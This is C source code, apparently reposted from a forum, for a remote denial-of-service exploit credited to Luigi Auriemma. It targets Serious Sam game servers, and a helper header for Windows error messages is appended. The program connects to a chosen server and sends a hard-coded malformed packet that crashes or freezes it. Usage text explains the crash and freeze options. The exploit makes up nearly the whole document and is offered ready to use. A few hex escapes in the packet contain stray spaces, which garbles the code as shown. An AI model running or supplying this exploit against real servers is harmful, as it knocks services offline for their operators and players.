Serious Sam Remote Denial of Service Exploit

[NI3]

by Luigi Auriemma


This source is covered by GNU/GPL

UNIX & WIN VERSION
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#ifdef WIN
#include <winsock.h>
#include <malloc.h>
#include "winerr.h"

#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>

#define ONESEC 1
#endif

#define VER "0.1"
#define BUFFSZ 2048
#define PORT 25600
#define TIMEWAIT 5

u_long resolv(char *host);
void std_err(void);

int main(int argc, char *argv[]) {
int sd,
err,
port;
struct sockaddr_in peer;
u_char *buff,
type,
pck[] =
/* bug */ "\xff\xff\xff\xff"
"\x40\xE1\xDE\x03\xFB\xCA\x2A\xBC\x83\x01\x00\x00\x 07\x47\x41"
"\x54\x56\x10\x27\x00\x00\x05\x00\x00\x00\x00\x00\x 01\x00\x00"
"\x00\x01\x00\x00\x00\xA0\x0F\x00\x00\x64\x00\x00\x 00";

setbuf(stdout, NULL);

fputs("\n"
"Serious Sam TCP remote crash/freeze "VER"\n"
"by Luigi Auriemma\n"
"e-mail: [Only registered and activated users can see links]\n"
"web: [Only registered and activated users can see links]"
"\n", stdout);

if(argc < 3) {
printf("\nUsage: %s <type> <server> [port(%u)]\n"
"\nType of crash:\n"
"0 = crash (0xffffffff)\n"
"1 = freeze (0xfffffff0)\n"
"\n", argv[0], PORT);
exit(1);
}

#ifdef WIN
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

type = argv[1][0] & 1;
if(type) memcpy(pck, "\xf0\xff\xff\xff", 4);
else memcpy(pck, "\xff\xff\xff\xff", 4);

if(argc > 3) port = atoi(argv[3]);
else port = PORT;

peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

buff = malloc(BUFFSZ);
if(!buff) std_err();

printf("\nConnection to %s:%hu\n",
inet_ntoa(peer.sin_addr),
port);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) std_err();

/* 1 recv */

err = recv(sd, buff, BUFFSZ, 0);
if(err < 0) std_err();
if(!err) {
fputs("\nError: the server has closed the connection, retry\n", stdout);
exit(1);
}
fputc('.', stdout);

/* BOOOOOM */

err = send(sd, pck, sizeof(pck) - 1, 0);
if(err < 0) std_err();

fputs("\nMalformed data sent, now I need to wait some seconds...\n", stdout);

for(err = TIMEWAIT; err > 0; err--) {
printf("%d\r", err);
sleep(ONESEC);
}

close(sd);

fputs("\nThe exploit is terminated and the server should be down, check it\n", stdout);

free(buff);
return(0);
}

u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
}

return(host_ip);
}

#ifndef WIN
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

winerr.h
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>

void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}